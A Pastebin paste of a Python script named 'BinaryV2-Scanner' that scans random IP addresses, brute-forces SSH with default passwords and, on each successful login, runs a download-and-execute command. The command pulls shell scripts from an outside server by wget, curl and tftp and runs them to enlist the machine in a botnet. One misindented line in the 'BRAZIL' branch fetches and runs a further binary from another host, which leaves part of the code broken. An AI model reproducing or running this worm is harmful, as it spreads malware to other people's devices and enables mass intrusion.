Advertisement
ZucoCheezy

BinaryV2-Scanner

Nov 26th, 2018
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.38 KB | None | 0 0
  1. #!/usr/bin/env python
  2. """
  3.  
  4. # ___     __________  ____ _______      _____ _______________.___.  ___    
  5. # / _ \_/\ \______   \/_   |\     \   /  _  \\______   \__  |   | / _ \_/\
  6. # \/ \___/  |    |  _/ |   |/   |   \ /  /_\ \|       _//   |   | \/ \___/
  7. #           |    |   \ |   /    |    \/    |    \   |   \\____   |          
  8. #           |______  / |___\____|__  /\____|__  /____|_  // ______|          
  9. #                  \/              \/         \/       \/ \/                
  10.  
  11. """
  12.  
  13. import threading, paramiko, random, socket, time, sys
  14.  
  15. cmd='cd /tmp; wget http://208.67.1.70/gtop.sh || curl -O http://208.67.1.70/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; busybox tftp 208.67.1.70 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 208.67.1.70; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf gtop.sh tftp1.sh tftp2.sh;exit\r\n'
  16. blacklist = [
  17.     '127'
  18. ]
  19. passwords = [
  20.     "root:root",
  21.     "root:admin",
  22.     "admin:admin",
  23.     "ubnt:ubnt"
  24.     "root:1234",
  25.     "admin:1234",
  26.     "guest:guest",
  27.     "user:user",
  28.     "test:test",
  29.     "pi:raspberry",
  30.     "vagrant:vagrant"
  31. ]
  32.  
  33. if sys.argv[4] == '1':
  34.     passwords = ["root:root", "root:admin", "admin:1234"]
  35.  
  36. ipclassinfo = sys.argv[2]
  37. if ipclassinfo == "A":
  38.     ip1 = sys.argv[3]
  39. elif ipclassinfo == "B":
  40.     ip1 = sys.argv[3].split(".")[0]
  41.     ip2 = sys.argv[3].split(".")[1]
  42. elif ipclassinfo == "C":
  43.     ips = sys.argv[3].split(".")
  44.     num=0
  45.     for ip in ips:
  46.         num=num+1
  47.         if num == 1:
  48.             ip1 = ip
  49.         elif num == 2:
  50.             ip2 = ip
  51.         elif num == 3:
  52.             ip3 = ip
  53. class sshscanner(threading.Thread):
  54.     global passwords
  55.     global ipclassinfo
  56.     if ipclassinfo == "A":
  57.         global ip1
  58.     elif ipclassinfo == "B":
  59.         global ip1
  60.         global ip2
  61.     elif ipclassinfo == "C":
  62.         global ip1
  63.         global ip2
  64.         global ip3
  65.     def run(self):
  66.         while 1:
  67.             try:
  68.                 while 1:
  69.                     thisipisbad='no'
  70.                     if ipclassinfo == "A":
  71.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  72.                     elif ipclassinfo == "B":
  73.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  74.                     elif ipclassinfo == "C":
  75.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  76.                     elif ipclassinfo == "BRAZIL":
  77.               ssh.exec_command("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null/ >/dev/null 2>&1")
  78.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  79.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  80.                     elif ipclassinfo == "SUPER":
  81.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  82.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  83.                     elif ipclassinfo == "LUCKY":
  84.                         lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  85.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  86.                     elif ipclassinfo == "LUCKY2":
  87.                         lucky2 = ["119.91","119.92","119.93","113.53"]
  88.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  89.                     elif ipclassinfo == "RAND":
  90.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  91.                     elif ipclassinfo == "INTERNET":
  92.                         lol = ["1"]
  93.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  94.                     else:
  95.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  96.                     for badip in blacklist:
  97.                         if badip in self.host:
  98.                             thisipisbad='yes'
  99.                     if thisipisbad=='no':
  100.                         break
  101.                 username='root'
  102.                 password=""
  103.                 port = 22
  104.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  105.                 s.settimeout(3)
  106.                 s.connect((self.host, port))
  107.                 s.close()
  108.                 ssh = paramiko.SSHClient()
  109.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  110.                 dobreak=False
  111.                 for passwd in passwords:
  112.                     if ":n/a" in passwd:
  113.                         password=""
  114.                     else:
  115.                         password=passwd.split(":")[1]
  116.                     if "n/a:" in passwd:
  117.                         username=""
  118.                     else:
  119.                         username=passwd.split(":")[0]
  120.                     try:
  121.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  122.                         dobreak=True
  123.                         break
  124.                     except:
  125.                         pass
  126.                     if True == dobreak:
  127.                         break
  128.                 badserver=True
  129.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  130.                 output = stdout.read()
  131.                 if "inet addr" in output:
  132.                     badserver=False
  133.                 if badserver == False:
  134.                         print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  135.                         ssh.exec_command(""+cmd+"")
  136.                         time.sleep(20)
  137.                         ssh.close()
  138.             except:
  139.                 pass
  140.  
  141. for x in range(0,int(sys.argv[1])):
  142.     try:
  143.         t = sshscanner()
  144.         t.start()
  145.     except:
  146.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement